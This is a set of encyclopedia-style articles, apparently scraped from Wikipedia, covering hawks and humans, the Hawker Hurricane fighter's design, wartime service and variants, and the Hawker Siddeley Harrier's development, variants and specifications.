                    	Grey-backed Hawk, Leucopternis occidentalis


                    	Mantled Hawk, Leucopternis polionota

                  

                

              

            

          


          


          Hawks and humans


          
            	Hawks are sometimes used in falconry, a sport in which trained hawks, eagles or falcons, are used to pursue and catch small game.


            	In the US, hawks are sometimes shot for sport or by ranchers who believe the birds may depredate livestock. This makes hawk conservation an issue in some areas. In other parts of the world, most hawk species are protected by law

          


          


          
            Retrieved from " http://en.wikipedia.org/wiki/Hawk"
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                Hurricane I (R4118), a Hurricane from the 1940 Battle of Britain still flying (as of 2007).

              
            


            
              	Type

              	Fighter
            


            
              	Manufacturer

              	Hawker
            


            
              	Designed by

              	Sydney Camm
            


            
              	Maiden flight

              	6 November 1935
            


            
              	Introduced

              	1937
            


            
              	Primaryuser

              	Royal Air Force
            


            
              	Produced

              	1937- 1944
            


            
              	Number built

              	14,000
            

          


          The Hawker Hurricane was a British single-seat fighter aircraft designed and predominantly built by Hawker Aircraft Ltd. Some production of the Hurricane was carried out in Canada by the Canada Car and Foundry Co Ltd.


          The 1930s design evolved through several versions and adaptations, resulting in a series of aircraft which acted as interceptor-fighters, fighter-bombers (also called "Hurribombers"), and ground support aircraft. Further versions known as the SeaHurricane had modifications which enabled operation from ships. The Hurricane was significant in enabling the Royal Air Force (RAF) to win the Battle of Britain of 1940, accounting for the majority of the RAF's air victories. About 14,000 Hurricanes were built by the end of 1944 (including about 1,200 converted to Sea Hurricanes, and about 1,400 that were built in Canada), and served in all the major theatres of the Second World War.


          


          Design and development
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          The Hurricane was developed by Hawker Aircraft Ltd in response to the Air Ministry specification F.36/34, (modified by F.5/34) for a fighter aircraft built around the new Rolls-Royce engine, then only known as PV-12, later to become famous as the Merlin. At that time, RAF Fighter Command comprised just 13 squadrons, each equipped with either Hawker Furys, Hawker Hart variants, or Bristol Bulldogs  all biplanes with fixed- pitch wooden propellers and non-retractable undercarriages. The design, started in early 1934, was the work of Sydney Camm.


          Sydney Camm's original plans submitted in response to the Air Ministry's specification were rejected (apparently "too orthodox," even for the Air Ministry). Camm tore up the proposal and set about designing a fighter as a Hawker company private venture. With economy in mind, the Hurricane was designed using as many of Hawker's existing tools and jigs as possible (the aircraft was effectively a monoplane version of the successful Hawker Fury); and it was these factors that were major contributors to the aircraft's success.


          Early design stages of the "Fury Monoplane" incorporated a Rolls-Royce Goshawk engine, but this was replaced shortly after with the Merlin, and featured a retractable undercarriage. The design came to be known as the "Interceptor Monoplane," and by May 1934, the plans had been completed in detail. To test the new design, a one-tenth scale model of the aircraft was made and sent to the National Physical Laboratory at Teddington. A series of wind tunnel tests confirmed the vital basic aerodynamic qualities of the design were in order, and by December that year, a full size wooden mock-up of the aircraft had been created.


          The first prototype, K5083, began construction in August 1935 incorporating the PV-12 Merlin engine. The completed sections of the aircraft were taken to the Brooklands racing circuit where Hawkers had an assembly shed, and re-assembled on 23 October 1935. Ground testing and taxi trials took place over the following two weeks, and on 6 November 1935, the prototype took to the air for the first time at the hands of Hawker's chief test pilot, Flight Lieutenant (later Group Captain) P.W.S. Bulman. Flight Lieutenant Bulman was assisted by two other pilots in subsequent flight testing; Philip Lucas flew some of the experimental test flights, while John Hindmarsh conducted the firm's production flight trials.


          Even though faster and more advanced than the RAF's current frontline biplane fighters, the Hurricane's design was already outdated when introduced. It employed traditional Hawker construction techniques from previous biplane aircraft, with mechanically fastened, rather than welded joints. It had a Warren girder-type fuselage of high-tensile steel tubes, over which sat frames and longerons that carried the doped linen fabric covering. The Hurricane's traditional construction meant that the airframe was very durable, and proved far more resistant to exploding cannon shells than the metal-skinned Supermarine Spitfire. Initially, the wing structure consisted of two steel spars, and was also fabric-covered. An all-metal, stressed-skin wing of duraluminium (a DERD specification similar to AA2024) was introduced in April 1939 and was used for all of the later marks. In contrast, the contemporary Spitfire used all-metal monocoque construction and was thus both lighter and stronger, though less tolerant to bullet damage. With its ease of maintenance, widely set landing gear and benign flying characteristics, the Hurricane remained in use in theatres of operations where reliability, easy handling and a stable gun platform were more important than performance, typically in roles like ground attack.


          In March 1940, Hurricanes with the Merlin II and III engines began to receive modifications to allow for an additional 6lbs of supercharger boost, for several minutes, (although, there are accounts of its use for 30 minutes continuously). This modification gave the Hurricane an approximate increase in speed of 25 to 35mph, under 15,000ft altitude, and greatly increased the aircraft's climb rate. "Overboost" or "pulling the plug" was an important wartime modification, that allowed the Hurricane to remain competitive with the Me-109e and to increase its margin of superiority over the Me110c, especially at low altitude. Overboost increased engine output by nearly 250hp. The Supermarine Spitfire also benefited greatly when using overboost.


          
            [image: The last Hurricane ever built, of 14,533. A Mk IIc version, originally known as ‘The Last of the Many’ and owned by Hawkers, this aircraft is now flown by the Battle of Britain Memorial Flight]

            
              The last Hurricane ever built, of 14,533. A Mk IIc version, originally known as The Last of the Many and owned by Hawkers, this aircraft is now flown by the Battle of Britain Memorial Flight
            

          


          


          Production


          The Hurricane was ordered into production in June 1936, mainly due to its relatively simple construction and ease of manufacture. As the prospect of war was looking increasingly likely, and time was of the essence in providing the RAF with an effective fighter aircraft, it was unclear if the more advanced Spitfire would be able to enter production smoothly, while the Hurricane used well-understood manufacturing techniques. This was true for service squadrons as well, who were experienced in working on and repairing aircraft whose construction employed the same principles as the Hurricane, and the simplicity of its design enabled the improvisation of some remarkable repairs in Squadron workshops.


          Powered by a Merlin II engine, the maiden flight of the first production aircraft took place on 12 October 1937. The first four aircraft to enter service with the RAF joined 111 Squadron at RAF Northolt the following December, and by the outbreak of the Second World War, nearly 500 Hurricanes had been produced, and equipped 18 squadrons.


          In all, some 14,000 Hurricanes and Sea Hurricanes were produced. The majority of Hurricanes were built by Hawker (which produced them until 1944) with the Gloster Aircraft Company making most of the rest. The Austin Motor Company built 300. Canada Car and Foundry in Fort William, Ontario, Canada, (where the Chief Engineer, Elsie MacGill, became known as the "Queen of the Hurricanes") was responsible for production of 1,400 Hurricanes, known as the Mk X.


          In 1939 production of 100 Hurricanes was initiated in Yugoslavia by Zmaj and Rogozarski. Of these 20 were built by Zmaj by April 1941. One was fitted with a DB 601 and testflown in 1941.


          A contract for 80 Hurricanes was placed with Avions Fairey SA for the Belgian Air Force in 1938. Three were built and two flown by the time of the Blitzkrieg in May 1940.


          


          Operational history


          


          Battle of France
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          In response to a request from the French government for ten fighter squadrons to provide air support, Air Chief Marshal Sir Hugh Dowding, Commander-in-Chief of RAF Fighter Command, insisted that this number would deplete British defences severely, and so initially only four squadrons of Hurricanes, Nos. 1, 73, 85 and 87, were relocated to France, keeping Spitfires back for "Home" defence. The first to arrive was No.73 Squadron on 10 September 1939, followed shortly by the other three, and a little later Nos. 607 and 615 Squadrons joined them. In May the following year, Nos. 3, 79 and 504 Squadrons reinforced them as Germany's Blitzkrieg gathered momentum, and on 13 May 1940, a further 32 Hurricanes arrived. All ten requested Hurricane squadrons were then operating from French soil and felt the full force of the Nazi offensive. By 17 May, the end of the first week of fighting, only three of the squadrons were near operational strength, but despite their heavy losses the Hurricanes had managed to destroy nearly double the number of German aircraft.


          Flying Officer E.J."Cobber" Kain was responsible for No. 73 Squadron's first victory in October 1939, while stationed in France, subsequently he went on to be the RAF's first fighter ace of the war. In June 1940, prior to heading for England at the start of his leave, on leaving his airfield, he crashed during a low-level "victory roll" and lost his life.


          On 27 May 1940, 13 aircraft from No. 501 Squadron intercepted 24 Heinkel He 111s escorted by 20 Messerschmitt Bf 110s, and during the ensuing battle, 11 Heinkels were confirmed "kills" and others damaged, with little damage to the Hurricanes.


          


          Battle of Britain


          At the end of June 1940, following the fall of France, the majority of the RAF's 36 fighter squadrons were equipped with Hurricanes. The Battle of Britain officially lasted from 10 July until 31 October 1940, but the heaviest fighting took place between 8 August and 21 September 1940. Both Spitfires and Hurricanes are renowned for their part in defending Britain against the Luftwaffe's might  generally the Spitfire would intercept the German fighters leaving Hurricanes to concentrate on destroying the bombers, but despite the undoubted abilities of the "thoroughbred" Spitfire, it was the "workhorse" Hurricane that scored the highest number of RAF victories during this period, accounting for 1,593 out of the 2,739 total claimed.
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          The only Battle of Britain Victoria Cross was awarded to Flight Lieutenant Eric Nicolson, as a result of an action on 16 August 1940 when his section of three Hurricanes was "bounced" from above by Bf 110 fighters. All three were hit simultaneously. Nicolson was badly wounded, and his Hurricane was damaged and engulfed in flames. While attempting to leave the cockpit, Nicolson noticed that one of the Bf 110s had overshot his aircraft. He returned to the cockpit, which by now was a blazing inferno, engaged the enemy, and may have shot the Bf 110 down.


          


          North Africa


          The Hurricane II was hastily tropicalised following Italy's entry into the war in June 1940. These aircraft were initially ferried through France by air to No. 80 Squadron RAF, in Egypt, to replace Gladiators. The Hurricane claimed its first kill in the Mediterranean on 19 June 1940, when F/O P. G. Wykeham-Barnes reported shooting down two Fiat CR.42s.


          Hurricanes served with several British Commonwealth squadrons in the Desert Air Force. They suffered heavy losses over North Africa after the arrival of Bf 109E and F-variants and were progressively replaced in the air superiority role from June 1941 by Curtiss Tomahawks/Kittyhawks. However, fighter-bomber variants ("Hurribombers") retained an edge in the ground attack role, due to their impressive armament of four 20mm cannon and a 500lb bombload.


          During and following the five-day El Alamein artillery barrage that commenced on the night of 23 October 1942, six squadrons of Hurricanes claimed to have destroyed 39 tanks, 212 lorries and armoured troop-carriers, 26 bowsers, 42 guns, 200 various other vehicles and four small fuel and ammunition dumps, flying 842 sorties with the loss of 11 pilots. Whilst performing in a ground support role, Hurricanes based at RAF Castel Benito, Tripoli, knocked out six tanks, 13 armoured vehicles, ten lorries, five half-tracks, a gun and trailer, and a wireless van on 10 March 1943, with no losses to themselves.


          


          Defence of Malta


          The Hurricane played a significant role in the defence of Malta. When Italy entered the war on 10 June 1940, Malta's air defence rested on a few Gloster Gladiators which managed to hold out against vastly superior numbers of the Italian air force during the following three weeks. Four Hurricanes joined them at the end of June, and together they faced attacks throughout July from the 200 enemy aircraft based in Sicily, with the loss of one Gladiator and one Hurricane. Further reinforcements arrived on 2 August in the form of 12 more Hurricanes and two Blackburn Skuas, which prompted the Italians to employ German Junkers Ju 87 dive bombers to try and destroy the airfields. Finally, in an attempt to overcome the stiff resistance put up by these few aircraft, the Luftwaffe took up base on the Sicilian airfields only to find that Malta was not an easy target. After numerous attacks on the island over the following months, and the arrival of an extra 23 Hurricanes at the end of April 1941, and a further delivery a month later, the Luftwaffe left Sicily for the Russian Front in June that year.


          As Malta was strategically situated on the increasingly important sea supply route for the North African campaign, the Luftwaffe returned with a vengeance for a second assault on the island at the beginning of 1942. It wasn't until March, when the onslaught was at its highest, that 15 Spitfires flew in off the carrier HMS Eagle to join with the Hurricanes already stationed there and bolster the defence, but many of the new aircraft were lost on the ground and it was again the Hurricane that bore the brunt of the early fighting until further reinforcements arrived. In relation to this second intensive assault on Malta, Wing Commander P.B. "Laddie" Lucas is quoted as saying:


          
            
              	

              	For weeks a handful of Hurricane IIs, aided by Group Captain A.B. Woodhall's masterly controlling, had been meeting, against all the odds, the rising crescendo of Field Marshal Kesselring's relentless attacks on Grand Harbour and the airfields. Outnumbered, usually, by 12 or 14 to one and, later  with the arrival of the Me 109Fs in Sicily  outperformed, the pilots of the few old aircraft which the ground crews struggled valiantly to keep serviceable, went on pressing their attacks, ploughing their way through the German fighter screens, and our flak, to close in with the Ju 87s and 88s as they dived for their targets.

              	
            


            
              	
                Wing Commander P.B. "Laddie" Lucas D.S.O., D.F.C.

              
            

          


          


          Air defence in Russia


          Mk II Hurricanes played an important air defence role in 1941 when the Soviet Union found itself under threat from the German Army approaching on a broad front stretching from Leningrad, Moscow, and to the oil fields in the south. Britain's decision to aid the Soviets meant sending supplies by sea to the far northern ports, and as the convoys would need to sail within range of enemy air attack from the Luftwaffe based in neighbouring Finland, it was decided to deliver a number of Hurricane Mk IIBs, flying with Nos. 81 and 134 Squadrons, to provide protection. Twenty-four were transported on the carrier HMS Argus arriving just off Murmansk 28 August 1941, and another 15 crated aircraft on board merchant vessels. In addition to their convoy protection duties, the aircraft also acted as escorts to Russian bombers. Enemy attention to the area declined in October, at which point the RAF pilots trained their Soviet counterparts to operate the Hurricanes themselves and, by the end of the year, the RAF's role had ended, but the aircraft remained behind and became the first of thousands of Allied aircraft that would be accepted by the Soviet Union.


          


          Singapore & Dutch East Indies


          


          Following the outbreak of war with Japan, 51 Hurricanes (MkII) were sent in crates to Singapore, with 24 pilots, the nuclei of five squadrons. They arrived on 3 January, 1942, by which stage the Allied fighter squadrons in Singapore, flying Brewster Buffalos, had been overwhelmed in the Malayan campaign. The Imperial Japanese Army Air Force's fighter force, especially the Nakajima Ki-43, had been underestimated in capability, numbers and the strategy of its commanders.


          The recently-arrived pilots were formed into No. 232 Squadron. In addition, No. 488 Squadron RNZAF, a Buffalo squadron, converted to Hurricanes. 232 Sqn became operational on 20 January and suffered the first losses and victories for the Hurricane in East Asia, when S/L Lawrence Landels was shot down and killed; he was avenged by his number two, Sgt Jimmy Parker. The squadron destroyed three Ki-43s that day, for the loss of three Hurricanes. However, like the Buffalos before them, the Hurricanes began to suffer severe losses in intense dogfights.


          On 27- 30 January, another 48 Hurricanes (Mk IIA) arrived with No. 226 Group (four squadrons) on the aircraft carrier HMS Indomitable, from which they flew to airfields code-named P1 and P2, near Palembang, Sumatra in the Dutch East Indies.


          Because of inadequate early warning systems, Japanese air raids were able to destroy 30 Hurricanes on the ground in Sumatra, most of them in one raid on 7 February. After Japanese landings in Singapore, on 10 February, the remnants of 232 and 488 Squadrons were withdrawn to Palembang. However, Japanese paratroopers began the invasion of Sumatra on 13 February. Hurricanes destroyed six Japanese transport ships on 14 February, but lost seven aircraft in the process. On 18 February, the remaining Allied aircraft and aircrews moved to Java. By this time, only 18 serviceable Hurricanes remained out of the original 99.


          After Java was invaded, some of the pilots and a sole remaining Hurricane were evacuated by sea to Australia. One pilot, Sgt Jimmy King, claimed 6.5 aircraft destroyed during the campaign.


          


          Burma


          Hurricanes saw action the day they first arrived in Burma, on 23 January 1942, when aircraft hampered by fixed underwing fuel tanks, were forced to intercept a Japanese air raid.


          



          


          Survivors


          


          Shoreham Airshow crash


          During the annual airshow at Shoreham Airport, Sussex, on 15 September 2007 Hurricane BD707 was involved in a fatal accident, the pilot Brian Brown being killed. The aircraft crashed during a mock dogfight and airfield attack sequence involving six Spitfires, three Hurricanes, two Me 108s and one Bf 109. Witnesses described how the aircraft had "turned quite steeply, went into almost a straight dive and ploughed into a hill probably about a mile from the airfield." The six Spitfires spontaneously adopted the " missing man formation" to signal the loss of a colleague. The show continued after discussions with the other pilots involved, and the organisers and safety team.


          


          Variants
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            	Hurricane I


            	First production version, with fabric-covered wings, a wooden two-bladed, fixed- pitch propeller, powered by the 1,030-hp (768-kW) Rolls-Royce Merlin Mk II or III engines and armed with eight .303-inch Browning machine guns. Produced between 1937 and 1939.

          


          
            	Hurricane I (revised)


            	A revised Hurricane I series built with a de Havilland or Rotol constant speed metal propeller, metal-covered wings, armour and other improvements. In 1939, the RAF had taken on about 500 of this later design to form the backbone of the fighter squadrons.

          


          
            	Hurricane IIA Series 1


            	Hurricane I powered by the improved Merlin XX engine. First flew on 11 June 1940 and went into squadron service in September 1940.

          


          
            	Hurricane IIB (Hurricane IIA Series 2)


            	Hurricane IIA Series 1 equipped with new and slightly longer propeller spinner and new wing mounting 12 .303-inch Browning machine guns. The first aircraft were built in October 1940 and were renamed Mark IIB in April 1941.

          


          
            	Hurricane IIB Trop.


            	For use in North Africa the Hawker Hurricane IIB (and other variants) were tropicalised. They were fitted with engine dust filters and the pilots were issued with a desert survival kit.

          


          
            	Hurricane IIC (Hurricane IIA Series 2)


            	Hurricane IIA Series 1 equipped with new and slightly longer propeller spinner and new wing mounting four 20-mm Hispano cannons. Hurricane IIA Series 2 became the Mark IIC in June 1941, using a slightly modified wing. The new wings also included a hardpoint for a 500 lb or 250 lb bomb, and later in 1941, fuel tanks. By then performance was inferior to the latest German fighters, and the Hurricane changed to the ground-attack role, sometimes referred to as the Hurribomber. The mark also served as a night fighter and "intruder."

          


          
            	Hurricane IID


            	Hurricane IIB conversion armed with two 40-mm AT cannons in a pod under each wing and a single Browning machine gun in each wing loaded with tracers for aiming purposes. The first aircraft flew on 18 September 1941, deliveries started in 1942. Serial built aircraft had additional armour for the pilot, radiator and engine, and were armed with a Rolls-Royce gun with 12 rounds, later changed to the Vickers S 40-mm gun with 15 rounds. The weight of guns and armour protection marginally impacted the aircraft's performance. These Hurricanes were nicknamed "Flying Can Openers", perhaps a play on the No. 6 Squadron's logo which flew the Hurricane starting in 1941.

          


          
            	Hurricane IIE


            	Another wing modification was introduced in the Mk IIE, but the changes became extensive enough that it was renamed the Mk IV after the first 250 had been delivered.

          


          
            	Hurricane T.IIC


            	Two-seat training version of the Mk. IIC. Only two aircraft were built for the Persian Air Force.

          


          
            	Hurricane III


            	Version of the Hurricane II powered by a Packard-built Merlin engine, intending to provide supplies of the British-built engines for other designs. By the time production was to have started, Merlin production had increased to the point where the idea was abandoned.

          


          
            	Hurricane IV


            	The last major change to the Hurricane was to "rationalise" the wing, configuring it with a single design able to mount two bombs, two 40-mm Vickers S guns, or eight "60 pounder" RP-3 rockets. The new design also incorporated the improved Merlin 24 or 27 engines of 1,620-hp (1,208-kW), equipped with dust filters for desert operations.

          


          
            	Hurricane V


            	Two Hurricane IVs were fitted with a Merlin 32 engine driving a four-bladed propeller for ground attack duties.

          


          
            	Hurricane X


            	Canadian-built variant. Single-seat fighter and fighter-bomber. Powered by a 1,300-hp (969-kW) Packard Merlin 28. Eight 0.303-inch (7.7-mm) machine guns mounted in the wings. In total, 490 were built.

          


          
            	Hurricane XI


            	Canadian-built variant. 150 were built.

          


          
            	Hurricane XII


            	Canadian-built variant. Single-seat fighter and fighter-bomber. Powered by a 1,300-hp (969-kW) Packard Merlin 29. Initially armed with 12 0.303-inch (7.7-mm) machine guns, but this was later changed to four 20-mm cannons.

          


          
            	Hurricane XIIA


            	Canadian-built variant. Single-seat fighter and fighter-bomber. Powered by a 1,300-hp (969-kW) Packard Merlin 29, armed with eight 0.303-inch (7.7-mm) machine guns.

          


          
            	Sea Hurricane IA


            	The Sea Hurricane IA was a Hurricane Mk I modified by General Aircraft Limited. They were modified to be carried by CAM ships ( catapult armed merchantman). These were cargo ships equipped with a catapult for launching an aircraft, but without facilities to recover them. Thus, if the aircraft were not in range of a land base, pilots were forced to bail out and be picked up by the ship. They were informally known as "Hurricats".


            	The majority of the aircraft modified had suffered wear-and-tear from serving with front line squadrons, so much so that at least one example used during trials broke up under the stress of a catapult launching. A total of 50 aircraft were converted from Hurricane Mk Is.

          


          
            	Sea Hurricane IB


            	Hurricane IIA Series 2 version equipped with catapult spools plus an arrester hook. From October 1941, they were used on Merchant aircraft carrier (MAC ships), which were large cargo vessels with a flight deck enabling aircraft to be launched and recovered. A total of 340 aircraft were converted.

          


          
            	Sea Hurricane IC


            	Hurricane IIB and IIC version equipped with catapult spools, an arrester hook and the four-cannon wing. From February 1942, 400 aircraft were converted.

          


          
            	Sea Hurricane IIC


            	Hurricane IIC version equipped with naval radio gear; 400 aircraft were converted and used on fleet carriers.

          


          
            	Sea Hurricane XIIA


            	Canadian-built Hurricane XIIA converted into Sea Hurricanes.

          


          


          Operators


          The Hawker Hurricane, due to its rugged construction and ease of maintenance, enjoyed a long operational life in all theatres of war, flown by both the Axis and Allies. It served in the air forces of many countries, some "involuntarily" as in the case of Hurricanes which either landed accidentally or force-landed in neutral Ireland.
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          Specifications (Hurricane IIC)


          
            [image: A National Air and Space Museum Hawker Hurricane of the Smithsonian Institution]

            
              A National Air and Space Museum Hawker Hurricane of the Smithsonian Institution
            

          


          Data from Janes Fighting Aircraft of World War II


          General characteristics


          
            	Crew: One


            	Length: 32 ft 3 in (9.84 m)


            	Wingspan: 40 ft 0 in (12.19 m)


            	Height: 13 ft 1 in (4.0 m)


            	Wing area: 257.5 ft (23.92 m)


            	Empty weight: 5,745 lb (2,605 kg)


            	Loaded weight: 7,670 lb (3,480 kg)


            	Max takeoff weight: 8,710 lb (3,950 kg)


            	Powerplant: 1 Rolls-Royce Merlin XX liquid-cooled V-12, 1,185 hp at 21,000 ft (883 kW at 6,400 m)

          


          Performance


          
            	Maximum speed: 340 mph (547 km/h) at 21,000 ft (6,400 m) (320 mph (514 km/h) at 19,700 ft (6,004 m) with two 250 lb bombs)


            	Range: 600 mi (965 km)


            	Service ceiling 36,000 ft (10,970 m)


            	Rate of climb: 2,780 ft/min (14.1 m/s)


            	Wing loading: 29.8 lb/ft (121.9 kg/m)


            	Power/mass: 6.47 lb/hp (3.94 kg/kW)

          


          Armament


          
            	
              Guns:

              
                	IIa: 8 0.303 in (7.7 mm) Browning machine guns


                	IIb: 12 0.303 in (7.7 mm) Browning machine guns


                	IIc: 4 20 mm Hispano Mk II cannon


                	IId: 2 40 mm Vickers Type S cannon, 2 0.303 in (7.7 mm) Browning machine guns

              

            


            	
              Bombs (Mk. IIb and later models):

              
                	2 250 lb or 500 lb bombs
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        Hawker Siddeley Harrier


        
          

          
            
              	Harrier / AV-8A/C
            


            
              	
                
                  [image: ]
                


                An RAF Harrier GR3 on display at Bletchley Park, England

              
            


            
              	Type

              	VTOL strike aircraft
            


            
              	Manufacturer

              	Hawker Siddeley
            


            
              	Maiden flight

              	28 December 1967 (Harrier)
            


            
              	Introduction

              	1 April 1969
            


            
              	Primaryusers

              	Royal Air Force

              United States Marine Corps

              Spanish Navy

              Royal Thai Navy
            


            
              	Produced

              	1967 -?
            


            
              	Number built

              	718
            


            
              	Developedfrom

              	Hawker P.1127/Kestrel FGA.1
            


            
              	Variants

              	Sea Harrier

              AV-8 Harrier II

              BAE Harrier II
            

          


          The Hawker Siddeley Harrier GR.1/GR.3 and the AV-8A Harrier are the first generation of the Harrier series, the first operational close-support and reconnaissance fighter aircraft with V/STOL capabilities. The Harrier was the only truly successful V/STOL design of the many that arose from the 1960s.


          The Harrier was extensively redeveloped, leading to the BAE Harrier II and AV-8B Harrier II, that were built by British Aerospace/BAE Systems and McDonnell Douglas.


          


          Background


          The Hawker P.1127 and the Hawker Siddeley Kestrel FGA.1 were the development aircraft that led to the Hawker Siddeley Harrier.


          


          P.1127


          The Harrier family was started with the Hawker P.1127. Design began in 1957 by Sir Sydney Camm, Ralph Hooper of Hawker Aviation and Stanley Hooker (later Sir Stanley) of the Bristol Engine Company. Rather than using rotors or a direct jet thrust the P.1127 had an innovative vectored thrust turbofan engine and the first vertical take-off was on October 21, 1960. Six prototypes were built in total, one of which was lost at an air display.


          


          Kestrel FGA.1


          The immediate development of the P.1127 was into the Hawker Siddeley Kestrel FGA.1, which appeared after Hawker Siddeley Aviation had been created. The Kestrel was strictly an evaluation aircraft, and only nine were produced, the first flying on March 7, 1964.


          These equipped the Tripartite Evaluation Squadron formed at RAF West Raynham in Norfolk of 10 pilots from the RAF, USA and West Germany. One aircraft was lost but the remainder transferred to the US for evaluation by the Army, Air Force and Navy, under the designation XV-6A Kestrel.


          An order for 60 production aircraft was received from the RAF in 1966, and the first pre-production Harriers, then known as the P.1127(RAF) were flying by mid-1967.


          


          P.1127(RAF)


          At the time of the development of the P.1127, Hawker had started on a design for a supersonic version, the Hawker P.1154. After this was cancelled in 1965, the RAF began looking at a simple upgrade of the Kestrel as the P.1127(RAF).


          In mid-1966, the P.1127(RAF) was ordered by the RAF as the Harrier GR.1, with the first preproduction aircraft flying the following year.


          


          Variants


          
            [image: A Royal Air Force Harrier GR. Mark 3 aircraft parked on the flight line during Air Fete '84 at RAF Mildenhall.]

            
              A Royal Air Force Harrier GR. Mark 3 aircraft parked on the flight line during Air Fete '84 at RAF Mildenhall.
            

          


          
            [image: A Marine VMA-231 AV-8A with a camouflage paint during pre-flight operations. Harrier has two napalm bombs on its right wing.]

            
              A Marine VMA-231 AV-8A with a camouflage paint during pre-flight operations. Harrier has two napalm bombs on its right wing.
            

          


          
            [image: A Marine TAV-8A Harrier from Marine Attack Squadron (Training) 203 (VMAT-203) sitting on the flight line.]

            
              A Marine TAV-8A Harrier from Marine Attack Squadron (Training) 203 (VMAT-203) sitting on the flight line.
            

          


          
            	Harrier GR.1

          


          The Hawker Siddeley Harrier GR.1 was the first production model derived from the Kestrel, it first flew on December 28, 1967, and entered service with the RAF on April 1, 1969. Construction took place at factories in Kingston upon Thames in southwest London and at Dunsfold, Surrey. The latter adjoined an airfield used for flight testing; both factories have since closed.


          The ski-jump technique for STOVL use by Harriers launched from Royal Navy aircraft carriers was tested at the Royal Navy's airfield at RNAS Yeovilton (HMS Heron), Somerset. Their flight decks were designed with an upward curve to the bow following the successful conclusion of those tests.


          The air combat technique of vectoring in forward flight, or viffing, was developed by the USMC in the Harrier to outmaneuver a hostile aircraft or other inbound weapons.


          
            	Harrier GR.1A

          


          The GR.1A was an upgraded version of the GR.1, the main difference being the uprated Pegasus Mk 102 engine. Fifty-eight GR.1As entered RAF service, 17 GR.1As were produced and a further 41 GR.1s were upgraded.


          
            	Harrier GR.3

          


          The Harrier GR.3 featured improved sensors (such as a laser tracker in the lengthened nose), countermeasures and a further upgraded Pegasus Mk 103 and was to be the ultimate development of the 1st generation Harrier. This model saw extended service in the Falklands War. (See Service History below)


          The RAF ordered 118 of the GR.1/GR.3 series Harrier.


          
            	Harrier T.2

          


          Two-seat training version for the RAF.


          
            	Harrier T.2A

          


          The Harrier T.2A was an upgraded version of the T.2. The T.2A was powered by a Rolls-Royce Pegasus Mk 102 turbofan engine.


          
            	Harrier T4

          


          Two-seat training version for the Royal Air Force.


          
            	Harrier T4N

          


          Two-seat training version for the Royal Navy.


          
            	Harrier Mk 52

          


          Two-seat company demonstrator. One aircraft only.


          
            	AV-8A Harrier

          


          Single-seat ground-attack, close air support, reconnaissance fighter aircraft. The AV-8As of the US Marine Corps were very similar to the early GR.1 version, but with the engine of the GR.3. 113 aircraft were ordered for the US Marines and the Spanish Navy. The AV-8A was armed with two 30-mm ADEN cannon pods under the fuselage, and two AIM-9 Sidewinder air-to-air missiles. The aircraft was powered by a 21,500 lbf (95.6 kN) thrust Roll-Royce Pegasus Mk 103 turbofan engine. It was also a very manoeuverable and a potent air-to-air fighter, being able to outmanoeuvre any other fighter aircraft. Company designation was the Harrier Mk 50.


          
            	AV-8C

          


          Upgraded AV-8A aircraft for the US Marine Corps.


          
            	AV-8S Matador

          


          Export version of the AV-8A Harrier for the Spanish Navy. Later sold to the Royal Thai Navy. Spanish Navy designation VA-1 Matador. Company designation Harrier Mk 53 for the first production batch, and Harrier Mk 55 for the second batch.


          
            	TAV-8A Harrier

          


          Two-seater training version for the US Marine Corps. The TAV-8A Harrier was powered by a 21,500-lb Rolls-Royce Pegasus Mk 103 turbofan engine. Company designation Harrier Mk 54.


          
            	TAV-8S Matador

          


          Export version of the TAV-8A Harrier for the Spanish Navy. Later sold to the Royal Thai Navy. Spanish Navy designation VAE-1 Matador. Company designation Harrier Mk 54.


          


          Controls and handling


          


          Operational history


          The first major combat experience for the Harrier in British service was during the Falklands War where both the Sea Harrier FRS.1 and Harrier GR.3 were used. The Sea Harrier, based on the GR3, was important to the naval activities. Twenty Sea Harriers were operated from the carriers HMS Hermes and Invincible mainly for fleet air defence. Although they destroyed 21 Argentine aircraft in air combat (in part due to using the American-supplied latest variant of the Sidewinder missile and the Argentine aircraft operating at extreme range) they couldn't establish complete air superiority and prevent Argentine attacks during day or night nor stop the daily flights of C-130 Hercules transports to the islands. Two Sea Harriers were lost to ground fire and another four due to operational accidents, none to enemy aircraft. The Harrier GR.3 was operated by the RAF from Hermes and provided close support to the ground forces and attacked Argentine positions but were unable to destroy the Port Stanley runway. If the Sea Harriers had been lost they would have replaced them in air patrol duties.


          The RAF Harriers would not see further combat, the Hawker Siddeley airframes would be replaced by the larger Harrier II developed by McDonnell Douglas.


          


          Operators


          
            [image: A Spanish navy AV-8S Matador aircraft.]

            
              A Spanish navy AV-8S Matador aircraft.
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                	Spanish Navy

                  
                    	Squadrons:


                    	No. 008 Escuadrilla - AV-8S & TAV-8S Matador
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                	Royal Thai Navy

                  
                    	Squadrons:


                    	Squadron 1 Wing3 ( HTMS Chakri Naruebet Flying Unit)

                  

                

              

            

          


          
            	
              [image: Flag of the United Kingdom]United Kingdom

              
                	
                  RAF

                  
                    	Bases:


                    	RAF Gtersloh


                    	RAF Wittering


                    	RAF Wildenrath


                    	Squadrons:


                    	No. 1 Squadron RAF


                    	No. 3 Squadron RAF


                    	No. IV Squadron RAF


                    	No. 20 Squadron RAF


                    	Flights:


                    	No. 233 Operational Conversion Unit RAF


                    	No. 1417 Flight RAF - Deployed to the Central American nation of Belize from 1981 to 1993.


                    	No. 1453 Flight RAF - Deployed to Port Stanley, in the Falklands Islands from June 1982 to 1985.
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                	United States Marine Corps

                  
                    	Squadrons:


                    	VMA-231 - AV-8A & C Harrier


                    	VMA-513 - AV-8A & C Harrier


                    	VMA-542 - AV-8A & C Harrier


                    	VMAT-203 - TAV-8A Harrier

                  

                

              

            

          


          


          Specifications (Harrier GR.1)


          General characteristics


          
            	Crew: One


            	Length: 45 ft 7 in (13.90 m)


            	Wingspan: 25 ft 3 in (7.70 m)


            	Height: 11 ft 4 in (3.45 m)


            	Wing area: 201 ft (18.68 m)


            	Empty weight: 12,190 lb (5,530 kg)


            	Loaded weight: 17,260 lb (7,830 kg)


            	Max takeoff weight: 25,350 lb (11,500 kg)


            	Powerplant: 1 Rolls-Royce Pegasus 101 turbofan with four swivelling nozzles, 19,000 lbf (84.5 kN) Four vertical flight puffer jets use engine bleed air, mounted in the nose, wingtips, and tail, and provide up to 1,000 lbf (4 kN) of thrust.

          


          Performance


          
            	Maximum speed: 735 mph (Mach 0.97) (1,185 km/h)


            	Range: 1200 mi (900 km)


            	Combat radius: 260 mi (418 km) on strike mission without drop tanks (hi-lo-hi)


            	Service ceiling 49,200 ft (15,000 m)


